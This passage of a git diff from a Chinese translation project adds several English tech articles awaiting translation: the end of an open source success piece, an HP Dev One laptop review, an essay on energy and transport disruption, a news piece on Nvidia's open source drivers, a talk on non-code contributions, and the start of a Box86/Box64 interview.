simply emails. But if you try to use all of them, you will immediately diffuse the community. People will be communicating with each other all over the place. Choose one or two collaboration tools, and really invest in them for synchronised communication. + +*Treasure the feedback:* Listen to feedback from the community and act on it. Show tat you care about what the community says, even if it requires you to make tough decisions. + +**Maintain a code of conduct:** If you interact with a community, you need to define what is going to be acceptable conduct. Having that in place helps warn people in case they go out of line. You can avoid a lot of trouble if you can just define this early on. + +*Think about how you will distribute your project:* There may be instances when you may not be willing to make your project available to the public because you do not have a certain component in place, or you have features you may not want to make accessible to everyone. Creating distribution terms that suit your preference without compromising on what the user wants is key, so that people who want certain features can access these while those who can do without them also have the option to start using the project without having to compromise. + +*Avoid polls as much as you can:* This is because, often, certain members vote for an option that may not be what the majority goes with. This can create a sense of failure in these members and make them feel excluded from the project. Instead, try asking them what problems they would like to be solved, and then try to invent a solution that does not involve trade-offs. + +### Open source is licensing + +Open source is about giving your users autonomy over how they want to use your software, and licensing provides just that. What’s great about an open source licence is that regardless of what you as a maintainer do, all your end users and stakeholders can always maintain a certain set of forks, which are important forks. + +Licensing gives people the option to take the project into a different direction if they deem it fit. They have the right to create a fork, which results in a lot of amazing software being developed. Maintainers have more responsibility to listen to their community members and to run the project in a way that works for them. + +It’s advisable to make use of the many licences available instead of setting your own terms separately, simply because stakeholders and users are usually familiar with commonly used licences, so you do not have to waste time explaining them. This also helps you to focus your energy on the other parts of the project. + +### Finally, open source is a movement + +Open source involves many, many dimensions and people. Most importantly, it is about understanding what these people want and creating an environment that encourages collaboration and transparency. It is about building communities that help to build the open source project the way they want it to be. The more opportunity maintainers create to let them do that, the better the product is and the more successful it gets. + +Open source is all of these things and the more expansive view you take, the better you can leverage it. Think about how you can excel in every dimension of open source because, at the end of the day, there is no easy path to open source success. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/07/open-source-software-is-there-an-easy-path-to-success/ + +作者:[Jules Graybill][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/jules-graybill/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/07/team-work-working-together-1.jpg diff --git a/sources/talk/20220727 My honest review of the HP Dev One.md b/sources/talk/20220727 My honest review of the HP Dev One.md new file mode 100644 index 0000000000..fce898e82d --- /dev/null +++ b/sources/talk/20220727 My honest review of the HP Dev One.md @@ -0,0 +1,121 @@ +[#]: subject: "My honest review of the HP Dev One" +[#]: via: "https://opensource.com/article/22/7/hp-dev-one-review" +[#]: author: "Anderson Silva https://opensource.com/users/ansilva" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +My honest review of the HP Dev One +====== +Here are my first impressions of the hardware, running the pre-installed Pop!_OS, and running Fedora on HP's new Linux-based laptop. + +![Working from home at a laptop][1] + +Image by: + +Opensource.com + +A few weeks ago, HP joined the bandwagon of major laptop manufacturers releasing a Linux-based laptop, the [HP Dev One][2]. The brand joins others such as Lenovo and Dell, offering a laptop with a pre-installed distribution of Linux in the US market. HP joined forces with smaller Linux-based laptop brand System76 to pre-install Pop!_OS as their distribution of choice on the device. Pop!_OS is a Ubuntu-based distribution, which System76 started (and is currently the primary maintainer) to maximize the features of its own laptops sold on its website. + +This article is a quick look at the HP Dev One, including first impressions of the hardware itself and running the pre-installed Pop!_OS and then Fedora on it after a few days. It is not about comparing them, just a few notes on how well they did on the HP Dev One. + +### HP Dev One hardware + +I haven’t owned an HP laptop in over a decade. I don’t even remember why I distanced myself from the brand, but somehow it just happened. So, when I read about the HP Dev One, several things sparked my interest. Here’s a list of them. Some may be silly or nit-picking, but they still carried some weight in my decision: + +* The most obvious reason was it came with Linux and not Windows. +* I have never used Pop!_OS, so the fact that HP chose Pop!_OS made me curious to use it. +* I have never owned an AMD-based laptop. The HP Dev One comes with an AMD RYZEN™ 7 PRO 5850U Processor with eight cores and 16 threads. +* The specs versus price seemed good. The price is $1099 USD, which is very reasonable compared to other brands with similar specs. +* No Windows key on the keyboard. Instead, it says “super,” which I think is cool. +* Upgradeable RAM. The laptop comes with 16 GB of RAM, but unlike so many laptops nowadays, it is not soldered on the board, so you can upgrade it (more on upgrading below). +* The laptop was in stock with a commitment for fast shipping. +* Reviews were favorable. + +For all of the reasons above, I ordered it, and two days later, I had the HP Dev One on my doorstep. + +![HP Dev One super key][3] + +Image by: + +(Anderson Silva, CC BY-SA 4.0) + +By the time the laptop arrived, the extra 64 GB of RAM I had ordered had also arrived, so the first thing I wanted to do was upgrade the RAM. It turned out that the bottom plate of the HP Dev One has very small, special (yet not proprietary) screws, so I had to run to the hardware store to get the proper screwdriver. + +![HP Dev One RAM upgrade][4] + +Image by: + +(Anderson Silva, CC BY-SA 4.0) + +I agree with [other online reviews][5] regarding the quality of the laptop. It does feel sturdy. The trackpad feel is good enough, and I had no issue with it. I found the keyboard not to be as good as some other reviewers claim. To me, the keys are a little heavy, and they feel almost a bit like silicone or rubber. I didn't find it terribly comfortable. In fact, I am typing this article in the HP Dev One, and I almost feel like I need to take a break here and there to let my fingertips rest. + +The 1080p screen is bright, but also very reflective. If you are a Thinkpad trackpoint fan, you will definitely enjoy this feature on the HP Dev One. The backlit keyboard is nice, and the built-in camera cover is something more laptops should adopt. + +![HP Dev One top view][6] + +Image by: + +(Anderson Silva, CC BY-SA 4.0) + +One question or possible issue I have with the HP Dev One is the fact that their website talks about the one-year customer service and warranty on the machine, but I haven’t been able to find a way to extend that warranty or even upgrade to something more premium like an onsite or next day part replacement in case I were ever to need it. + +### Pop!_OS on HP Dev One + +As previously mentioned, I’ve never used Pop!_OS. I’ve used Ubuntu and many other distributions, but to me, Pop!_OS was a relatively familiar yet new experience. Here are a few notes: + +#### The good + +* Coming from a Fedora and mostly vanilla GNOME background, the four-finger gesture in Pop!_OS took a little getting used to, but once I got into it, it made navigating their implementation of GNOME borderline fun. +* The Pop!_OS’s software shop is called Pop!_Shop. It contains a great variety of software without any need to enable special repositories. It is easy to use, and installation is fast. +* The integration between Pop!_OS and the hardware really is well done. Congratulations to both System76 and HP engineers for putting this machine together. +* Pop!_OS has a nice built-in feature for backup and restoring your installation w/o destroying your home directory. +* I installed Steam and a few games, and it worked pretty well. +* I ran a couple of test containers with podman, and it worked very nicely as well. +* I installed a virtual machine, and it ran very smoothly, too. + +#### The not so good + +* The default wallpaper that comes with the HP Dev One looks a bit fuzzy to me. For such a nice machine, it feels like the wallpaper is running at the wrong resolution. To be fair, there are other wallpapers to choose from in the Settings. +* The out-of-the-box fonts for Pop!_OS could be better. I find them hard to read, and in my opinion, it makes the UI too crammed. +* Adding the USB-C powered 4K monitor worked OK, but my eyes noticed slight flickering in some parts of the screen. Could this be an X11 issue, given that Pop!_OS defaults to X11? + +### Fedora on HP Dev One + +I played around with Pop!_OS for about two days before deciding to boot into Fedora using a live USB media. I did that first to see what type of hardware detection Fedora could do out of the box. To my surprise, everything worked right away. That’s when I decided to wipe the entire 1 TB SSD and install Fedora on the HP Dev One. As promised, this is not a Fedora vs. Pop!_OS comparison article; it is merely a few notes on both distributions running on this Linux-focused hardware. + +In case you haven’t read my bio in this article, and for the sake of transparency, I am a Fedora contributor, so it is fair for me to say that I am biased towards the Fedora distribution, but don’t let that make you think I recommend Fedora over Pop!_OS on the HP Dev One. They are both great distributions, and they both run very nicely on it. Take your pick! + +I can tell you that Fedora runs smoothly on the HP Dev One, and although there may be some performance tuning to match some of the benchmark numbers against Pop!_OS, I have been very pleased with its performance. Using the three-finger gestures to move between virtual desktops is a lot more natural to me than the four-finger ones in Pop!_OS, and I’ve been able to run Steam and Proton-based games on Fedora just like Pop!_OS. + +The only comparison I will make is that when using the secondary USB-C 4K monitor with Fedora, I did not experience any flickering. Was it because of Wayland? + +### Final thoughts + +I’ve had the HP Dev One for a little over four days now, and I’ve run Pop!_OS and Fedora on it so far. I even restored Pop!_OS after a full Fedora installation, which was a very easy process. Somehow, Pop!_OS detected it was an HP Dev One and did all the needed installation, including the HP-based wallpapers, without me having to do any extra steps. + +As I finished this article, yet again, I went back to Fedora (force of habit), but I wouldn’t have any issue staying on Pop!_OS on the HP Dev One. Who knows, maybe I might even try different distributions in the future. + +At the end of the day, the HP Dev One is a solid Linux laptop without a Windows key and no AMD, Intel, or Windows stickers on it. It is fast, feels well built, and is reasonably priced especially given how quickly it ships to you (US only). I would love to see HP provide more documentation on their website about extending the warranty, and I hope they will be able to make this laptop available in other parts of the world. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/hp-dev-one-review + +作者:[Anderson Silva][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ansilva +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/wfh_work_home_laptop_work.png +[2]: https://hpdevone.com/ +[3]: https://opensource.com/sites/default/files/2022-07/superkey.jpg +[4]: https://opensource.com/sites/default/files/2022-07/ram.jpg +[5]: https://www.techrepublic.com/article/system76-hp-perfect-dev-one/ +[6]: https://opensource.com/sites/default/files/2022-07/topview.jpg diff --git a/sources/talk/20220808 How open organizations can harness energy disruptions.md b/sources/talk/20220808 How open organizations can harness energy disruptions.md new file mode 100644 index 0000000000..795d39d2f0 --- /dev/null +++ b/sources/talk/20220808 How open organizations can harness energy disruptions.md @@ -0,0 +1,168 @@ +[#]: subject: "How open organizations can harness energy disruptions" +[#]: via: "https://opensource.com/open-organization/22/8/energy-disruption" +[#]: author: "Ron McFarland https://opensource.com/users/ron-mcfarland" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How open organizations can harness energy disruptions +====== +Learn strategies for communities on the use of electric vehicles over internal combustion engined cars, the use of self-driving vehicles over human-driving vehicles, and the use of solar power generation over nuclear power generation. + +![Solar panels][1] + +Image by: Photo by Jason Hibbets + +Many people talk a lot about the values of [Open Organization Principles][2], but in many ways, they require people to change how they do things, which can be difficult. That is true for businesses and industries as well. Disruption in many sectors is coming. How do we use Open Principles to address them? This article looks at what's happening in industries related to energy and transportation when it comes to drastic costing changes that will lead to industrial disruption. + +Business disruption is happening through new technology or methods, which will slash costs. This is forcing industrial change. Consider the oil, coal, natural gas, nuclear, petroleum, biofuels, and charcoal (the primary energy in many developing countries) industries. All these industries are grouped in the fossil fuel-burning energy-generating industry. Imagine them all becoming obsolete and totally replaced by the solar and wind industries in the next decade or so because of costs. That is industrial disruption. + +As a resource, I have read, [Clean Disruption of Energy and Transportation,][3] by Tony Seba. + +The book was written before 2014, but many of his concepts are valid today. In his book, Seba presents an energy-usage case for electric vehicles (EV) replacing internal combustion engine vehicles (ICE), and the entire automotive industry shrinking with autonomous (self-driving) car disruption strictly on cost factors. If this is true, adapting to those changes will be required, and Open Organization Principles can be helpful. + +He also builds a case for current electrical power generation being completely replaced in the years ahead by solar and wind with battery storage based strictly on cost competitive advantages. I discussed this in my article on [Jeremy Rifkin's][4] book [The Zero Marginal Cost Society: The Internet of Things, the Collaborative Commons, and the Eclipse of Capitalism.][5] + +Seba's book reminds me too of [Michael E Porter's five competitive forces the force of substitutes][6]. + +For example, automobiles replaced the horse and carriage in about a decade in the early 1900s, and digital cameras replaced all film cameras on the market. This replacement was due to: + +1. A cost advantage with prices coming down at exponential rates (from dollars to pennies like computer sizes to computing capacity) through increased innovation, scale, and competition. +2. Superior product features. +3. Added new product features, +4. Central control replaced by distributed/shared control. + +For these reasons, in the past, products became obsolete by something innovative. They were disrupted. + +Imagine wanting to make an open organization community that can produce its own electricity instead of being forced to buy electricity at much higher prices. Could such a community be formed? Throughout his book, Seba makes a case that this is possible using the four above factors. + +This article is the first of a two-part series on this topic. This article gives strategies for open organization communities on the use of electric vehicles over internal combustion engined (ICE) cars, the use of self-driving vehicles over human-driving vehicles, and the use of solar power generation over nuclear power generation. I'll give more in the second part of this series. + +### A question of power + +Seba assumes that electrical power is a commodity with no distinct quality difference and that there is no such thing as high-quality and low-quality electricity to the user. The only difference is the price of electricity at a given time. + +The price of electricity fluctuates greatly. He also assumes that the automotive industry only has one quality, the movement of goods and people. Therefore, Seba's whole book looks at the cost (particularly end-user price) of both electricity (in kilowatt/hours) and movement (miles/kilometers over the life of a vehicle). He does a wonderful job of breaking down indirect and direct costs in great detail, including many costs I had never considered. This seems to be the same conclusion Jeremy Rifkin came to, calling it marginal costs in his book, *The Zero Marginal Cost Society* (cited above). + +By providing general cost breakdowns, Seba enables readers to seriously consider how they and their community might use solar and wind electric power generation. One could build an open organization community based on the information this book makes available. + +Coincidentally, I've just read Bill Gates' book, [How to Avoid a Climate Disaster][7]. Gates' book has one primary goal: To remove 51 billion tons of greenhouse gases from the atmosphere by 2050. Gates would love it if Seba's prediction comes true. + +Seba believes that by 2030, all electricity generation and vehicles on the road will be carbon-free. Seba believes that over a 10-15 year period disruptive forces will penetrate industries in an "S" shaped growth. They will start slowly while the users adjust to this new purchasing option. + +Then, once several success stories are in operation, disruption will take off like a rocket, making all old technology and processes obsolete. After several decades, the demand will flatten when the disruptive technology fully serves the market. + +![S demand chart relating growth and time][8] + +Image by: + +(Ronald McFarland, CC BY-SA 4.0) + +Here is how the "S" demand works for electrical energy according to Seba: + +1. Some solar and wind systems are accepted in the market, making capital more available and less costly. +2. More creative financing plans are developed and offered. +3. Local, distributed energy generation increases. +4. The business structure of energy flips from centralized to distributed. +5. Enabling technologies, such as sensors, artificial intelligence, big data, and mobile communications, improve exponentially. Sensors, smaller and more energy efficient than ever before, will have more information on energy usage than any conventional utility could ever obtain. +6. The increasing cost of resource-based energy will push more people away from them. +7. Complementary markets, such as wind power generation, electric vehicles, and self-driving cars will increase exponentially. +8. Investments in other storage technologies for shared solar facilities, wind operations, electric vehicles, and self-driving cars will increase. +9. The business environment of energy will become more and more distributed. +10. The conventional command-and-control energy business model will enter a vicious cycle of rising prices and obsolete assets. + +Seba writes, "World demand for energy is expected to be 16.9 TW by 2030, according to the US Energy Information Agency." That may seem dire, but Seba adds, "Should solar continue on its exponential trajectory, the energy generation will be 100% solar by 2030." + +I'm sure that Gates would be delighted if that turns out to be true, but he is taking no chances on just those predictions. Gates is investing in future nuclear power plants and carbon capture systems for current fossil fuel burning plants to reduce carbon dioxide emissions further. + +### Building a community + +Assume we want to build an open organization community to introduce three things: + +* The use of electric vehicles (EV) over internal combustion engined (ICE) vehicles. +* Self-driving vehicles over human-driven vehicles. +* Solar power generation over nuclear power generation. + +Here is additional detail on Seba's arguments for each. + +#### 1. Use of electric over internal combustion engined vehicles + +Consider the following attributes of EV over ICE vehicles: + +* Seba presents that an electric vehicle is inexpensive to operate. An EV is five times more efficient in energy use than ICE vehicles. That makes an EV 10 times cheaper than ICE. +* An electric vehicle is cheaper to maintain because it contains few moving parts. +* In the future, there will be wireless charging stations along the road, so vehicles need not stop to charge. ICE vehicles will always have to stop at filling stations. +* Electric vehicles are safer, with more safety sensors. +* By 2025, EVs will likely be cheaper to purchase than ICE, with battery costs coming down rapidly. +* Battery performance and range are increasing with new developments. +* Electric vehicles can gather driving data in real-time for added safety, performance analytics, and future improvements. +* Electric vehicles can use excess electricity in the owners' home solar system or sell the excess to the local utility company. +* An EV company can offer free fuel and maintenance for five years if it wants to. No ICE vehicle manufacturer can do this. + +#### 2. Use of self-driving vehicles over human-driving vehicles + +Young people are moving away from owning vehicles in favor of Uber or Lyft services. It is becoming cheaper in the long term. Ride-sharing offers many advantages, including: + +* Each Uber/Lyft vehicle on the road is estimated to replace around 15 cars purchased. This result shrinks the overall vehicle numbers, impacting the need for parking lots and vehicle insurance. +* Owning an asset used less than 10% of the time is not practical. Most cars are parked most of the time, except for commercial vehicles that operate during work hours. + +The next step is self-driving cars, according to Seba. When self-driving cars are fully in the market, there will be disruption in the automotive, transportation, logistics, and oil industries. Self-driving cars will be mainly purchased, owned, and operated by corporations with fleets, not individuals. + +Self-driving cars provide many advantages, a few of which are listed here: + +* Self-driving cars expand the transportation of people. Children, the elderly, and those with disabilities will be new customers. +* The benefits of self-driving cars include: + * Save lives (no human error, advanced machine learning, and sensing). + * Save time (less time on the road with less congestion or looking for parking spaces). + * Save space (fewer roads, garages, and parking spaces required). + * Save energy (lower fuel consumption). + * Save money (in purchasing, operating, maintaining, and insuring for transportation). +* The cost of transportation will be cheaper, safer, and easier. + +#### 3. Use of solar power generation over nuclear power generation + +Solar power generation pricing is falling rapidly and is projected to continue falling with more use. This is where the Internet of Things (IoT) comes in. While nuclear power costs will also come down, it's not competitive, particularly as decommissioning is extremely expensive. + +Here are some considerations for solar power generation: + +* Solar cost has improved by 1,540 times since 1970. Based on Seba's research, solar costs are expected to come down by another two-thirds by 2020 (at the time the book was written in 2014). +* Currently, operating nuclear power plants' costs are increasing and are continually over budget in cost. If their costs don't come down, they will phase out. Bill Gates is betting on improved low-cost designs. +* Solar panel costs have dropped by a factor of US$100/Wh (Watt-hour) to 65¢/Wh from 1970 to around 2012, far lower than nuclear prices. +* New nuclear power plants are expected to provide electricity at 25¢/kWh-30¢/kWh. That is not competitive, with solar being around 12.5¢/kWh. In the United States, residential customers pay around 12.5¢/kWh, and some solar power suppliers expect to reach 5.79¢/kWh soon. +* Nuclear power generation uses twice as much water as natural gas, which is 10,000 times more than solar. This places added stress on the freshwater supply. +* There are now solar manufacturing companies providing power 24 hours/day. [Torresol Gemasolar][9] is a company in Spain putting one of these facilities into operation. They use safer and cheaper molten salt thermal energy storage. This energy storage method is a tenth of the cost of Li-on batteries. +* Seba says, "Large, centralized, top-down, supplier-centric energy is on the way out. It is being replaced by modular, distributed, bottom-up, open, knowledge-based, consumer-centric energy." For solar, many users will also be producers and sharers of electricity and information. +* Solar now regularly provides 20-35% of Germany's power. That will continue with improved battery storage, especially as Germany moves away from Russian oil and gas due to the war in Ukraine. Both for residential and commercial solar plants, tens of thousands of power generation units are being installed in the United States, Europe, and Australia. +* In 2014, 430 reactors in 31 countries provided 370 GW of nuclear power capacity, mainly in France, Japan, Russia, and the United States. These most likely will be replaced with solar, wind, or [4th generation][10] nuclear, which uses waste as fuel. Europe will shut down 80% of its 186 nuclear power plants by 2030 ([Global Data][11]). Many current nuclear power plants are close to their shutdown age. +* Nuclear power plants are not insurable at any premium, so only governments protect them. + +### Wrap up + +In the second part of this series, I'll discuss ideas regarding the use of solar power generation over oil power generation, the use of solar power generation over natural gas (with methane) power generation, the use of solar power generation over biofuels power generation, the use of solar power generation over coal power generation, and distributed electricity generation (small and simple) over conventional large utilities. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/open-organization/22/8/energy-disruption + +作者:[Ron McFarland][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ron-mcfarland +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/LIFE_solar_panels_520x292_JH.png +[2]: https://theopenorganization.org/definition/open-organization-definition/ +[3]: https://www.amazon.co.jp/Clean-Disruption-Energy-Transportation-Conventional/dp/B00RWNDUZA +[4]: https://en.wikipedia.org/wiki/Jeremy_Rifkin +[5]: https://www.goodreads.com/book/show/18594514-the-zero-marginal-cost-society +[6]: https://www.youtube.com/watch?v=mYF2_FBCvXw +[7]: https://www.gatesnotes.com/Energy/My-new-climate-book-is-finally-here +[8]: https://opensource.com/sites/default/files/2022-07/s-demand.png +[9]: https://www.youtube.com/watch?v=QN-8DMZLpyI +[10]: https://en.wikipedia.org/wiki/Generation_IV_reactor +[11]: https://www.globaldata.com/ diff --git a/sources/talk/20220816 The Effect of Nvidia-s Open Source Drivers On Linux Gamers.md b/sources/talk/20220816 The Effect of Nvidia-s Open Source Drivers On Linux Gamers.md new file mode 100644 index 0000000000..54800cabbf --- /dev/null +++ b/sources/talk/20220816 The Effect of Nvidia-s Open Source Drivers On Linux Gamers.md @@ -0,0 +1,34 @@ +[#]: subject: "The Effect of Nvidia’s Open Source Drivers On Linux Gamers" +[#]: via: "https://www.opensourceforu.com/2022/08/the-effect-of-nvidias-open-source-drivers-on-linux-gamers/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +The Effect of Nvidia’s Open Source Drivers On Linux Gamers +====== +The community will receive an open source driver from Nvidia for the first time with the release of the R515 driver, which should make it easier for Linux users to use Nvidia graphics cards in their computers. It is advantageous for Nvidia to support more open source technological standards. Unfortunately, Nvidia has not consistently embraced open sourcing software, which has led to some controversy in their user group. However, this might be improving with the new R515 driver. + +People have been pleading for Nvidia to make their driver software more accessible, like firms like Intel and AMD that offer open source drivers for their goods. But up until now, Nvidia’s drivers have been closed-source, which doesn’t present too many problems for Windows users but makes utilising Nvidia GPUs more difficult to optimise for the Linux community. Unlike AMD drivers, which are open source and enable developers to fully see how the drivers were coded, Nvidia drivers are closed-source, making it impossible for developers to examine the source code of a driver and create their software with a complete understanding of how the drivers were created. + +So how will Linux gaming be impacted by Nvidia’s new R515 drive? Most likely, it won’t have a significant impact right away. Nvidia GPUs can be used for gaming on Linux because the company offers Linux drivers, despite the fact that they are proprietary. Numerous Linux distributions, including PopOS, will automatically install Nvidia drivers for the user. However, if Nvidia keeps releasing its drivers as open source software over time, Linux developers will be able to benefit from the advantages that open sourcing drivers has provided for AMD, such as increased compatibility and a variety of driver options, either proprietary or open source, depending on what the user requires. In the same way that AMD and Intel are the most dependable choices on Linux in comparison to Nvidia, being open source can also aid in the development of drivers and boost dependability for Linux. + +Because of how amazing Nvidia’s proprietary drivers have always been on Windows and how great they are generally on Linux, many gamers and Linux users continue to utilise Nvidia GPUs rather than exclusively AMD. Before the R515 driver, there was also a free and open-source Nvidia driver named Nouveau. The official Nvidia proprietary drivers were generally faster and more dependable than this driver. This is most likely caused by Nouveau not being the official open source driver from Nvidia and instead being a product of Nvidia driver reverse engineering. Another drawback of Nouveau is that it does not enable GPU reclocking, which is a major obstacle for customers who want to overclock their Nvidia GPU. + +Overall, the news that Nvidia will now officially offer open source drivers is a significant plus. Since the drivers are now open source, the community will be able to assist in the development of new drivers, giving developers far more information about the drivers they are creating applications and games for. Over time, Linux will also gain since it has a high chance of being just as dependable and compatible with Nvidia GPUs as it is with AMD and Intel, which will improve gaming performance and efficiency. Nvidia’s decision to make its software open source may continue to increase pressure on other tech companies to disclose more information about their products, which will support a more liberal and open future for technology. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/the-effect-of-nvidias-open-source-drivers-on-linux-gamers/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/sources/talk/20220818 Open source runs on non-code contributions.md b/sources/talk/20220818 Open source runs on non-code contributions.md new file mode 100644 index 0000000000..fcc16dc1ef --- /dev/null +++ b/sources/talk/20220818 Open source runs on non-code contributions.md @@ -0,0 +1,90 @@ +[#]: subject: "Open source runs on non-code contributions" +[#]: via: "https://opensource.com/article/22/8/non-code-contribution-powers-open-source" +[#]: author: "John E. Picozzi https://opensource.com/users/johnpicozzi" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Open source runs on non-code contributions +====== +Sometimes the hardest part of becoming an open source contributor is realizing how much you have to offer. + +At this year's DrupalCon North America, EPAM Solution Architect John Picozzi presented a talk about the importance of non-code contribution. He talked about how everyone can get involved and why he believes this is an important topic. This article is a text adaptation of John's talk; find a link below to a video recording of the complete presentation at DrupalCon. + +What is non-code contribution? I asked Google this question and got the following answer: "Any contribution that helps an open source project that does not involve writing code." Thanks, Google, but I already figured that out. If you asked me to dig deeper, I'd say it's about providing your time, skills, and resources to benefit a project. + +### Who is an open source contributor? + +Early on, "contribution" implied writing code. Originally, Drupal's model was "Built by developers, for developers." Over the years, however, the Drupal community has shifted away from that mindset. Our community has learned to value non-code contributions just as much as code: Any contribution is contribution. + +Open source is built in meetups, camps, and cons; it's built-in and by the community. In fact, most of the contributions at those events have very little to do with coding. To have those events, you need attendees, speakers, trainers, and organizers. Don't get me wrong: Of course, open source communities still need people who write code, but that's not the only thing they need. If you participate in the community and share ideas, ask questions, or provide help—congratulations, you're already contributing! + +Is contributor a self-designation ("I'm a contributor") or a community designation ("We say you're a contributor")? It's safe to say that everyone is a contributor: conference attendees, designers who create UI and module logos, marketing folks who help market modules or events, and many more. Don't wait for someone else to give you that designation. You can get involved and feel confident telling others you're a contributor. + +There are many ways to motivate someone (or yourself) to contribute. Money is not always the top motivator. However, sometimes contribution can be paid work. Many people contribute simply because they want to give back to the community. + +Everyone would probably give a different answer from their peers when asked why they contribute, but here are some of the most common responses: + +* It makes you feel good +* Building and improving skills +* Career development +* Making connections/networking + +The list is endless and as varied as the contributors themselves. Each contributor has their own reasons, and there are no right or wrong answers. + +![Reasons to contribute to open source][2] + +Image by: (John Picozzi, CC BY-SA 4.0) + +### Why non-code contribution is important to open source + +Non-code contribution is as valuable to the health of a project as writing code. It helps to get more people with a wide variety of skills involved in the community. Everyone has something to offer and a unique skill set to share. + +There are non-code requirements for all projects, and not everyone is a developer or coder. Moreover, different points of view need to be represented. For example a marketing person will likely have different experiences and perspectives than a developer. Every effort moves open source forward in some way—that's why non-code contribution is essential. + +#### Common challenges + +This definition of contribution may make it sound very simple: Just share your knowledge, express your thoughts, and help the community. However, contributors face several challenges. One of the most common is imposter syndrome. Less experienced contributors may worry that their contribution isn't valuable or helpful. You can combat that feeling by focusing on your specific skills and passions. For example, if you have event organizing experience, you can lean into that and focus on organizing and helping with those activities. + +To combat these negative thoughts, make contributing a positive experience. Work/life/contribution balance is important. Contribution should be enjoyable, not just another job. If you can, implement contribution into your work. Many employers encourage and benefit from your contribution, and it's possible to build a career based on contribution. + +Don't burn out and contribute nonstop during nights and weekends. Just add 30 minutes to the start or end of your day, or incorporate contribution into your regular workday if possible. + +### How to make your first non-code contribution + +At this point in the article, I hope you're thinking, "OK, I'm ready. What do I do?" How do you get involved? Just do it! You only need to get started: For example, to start contributing in the Drupal community, ask in [the issue queue][3] or [Drupal chat][4] or reach out to camp organizers for recommendations. A whole community is waiting to support you. + +![A slide depicting many Drupal community project logos, including regional Drupal meetups, Drupal coffee, Drupal talent and education. The slide is filled with a variety to indicate the large number and wide range of opportunities to participate in community projects.][5] + +Image by: (John Picozzi, CC BY-SA 4.0) + +Remember to follow your skills and interests. You have them, so use them to inspire your contributions. Your interests may differ from your skills: You could decide to contribute to something you have little experience with but always wanted to know more about. Simply talk to people, share knowledge, ask questions, go to a camp or a meetup, and contribute. + +I want to close with a quote by Margaret Mead (an American anthropologist) that perfectly describes open source contribution to me: "Never doubt that a small group of thoughtful, committed citizens can change the world. Indeed, it is the only thing that ever has." Dr. Mead doesn't say "a small group of code writers or developers." She says a thoughtful, committed group of citizens—citizens with great passion and many different skills. That's what powers open source, and that's what powers Drupal. + +Watch the talk below or [on YouTube][6]. + +![YouTube video player][7] + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/non-code-contribution-powers-open-source + +作者:[John E. Picozzi][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/johnpicozzi +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/OSDC_dandelion_520x292.png +[2]: https://opensource.com/sites/default/files/2022-08/non-code-contribution-open-source.jpeg +[3]: https://www.drupal.org/project/issues/drupal?categories=All +[4]: https://www.drupal.org/community/contributor-guide/reference-information/talk/tools/slack +[5]: https://opensource.com/sites/default/files/2022-08/Drupal%20contributor.png +[6]: https://www.youtube.com/watch?v=NwNqfpISMPM +[7]: https://youtu.be/NwNqfpISMPM diff --git a/sources/talk/20220820 There is Life After the Death of x86.md b/sources/talk/20220820 There is Life After the Death of x86.md new file mode 100644 index 0000000000..66c6a50156 --- /dev/null +++ b/sources/talk/20220820 There is Life After the Death of x86.md @@ -0,0 +1,121 @@ +[#]: subject: "There is Life After the Death of x86" +[#]: via: "https://news.itsfoss.com/box86-creator-ptitseb/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +There is Life After the Death of x86 +====== +Discussing X86 emulation on ARM devices with the creator of Box86 and Box64 projects, Ptitseb. + +![There is Life After the Death of x86][1] + +[Box86][2] and [Box64][3] are two pieces of software that allow apps made for X86 to run on ARM devices like the Raspberry Pi. It also aims to be both simple to use and able to run on low-end devices. + +Above all else, it is a completely open-source project, meaning that it has the full support of the community behind it. + +However, one man is at the forefront of this effort, and I had the pleasure to have a chat with him about what Box86 and Box64 are, their origins, and what the future holds for the project. + +Here is what we discussed. + +### Interview with Box86 and Box64’s main developer: Ptitseb + +I hope the questions and their responses make for good reading and give you a deeper understanding of X86 emulation and ARM devices in general. + 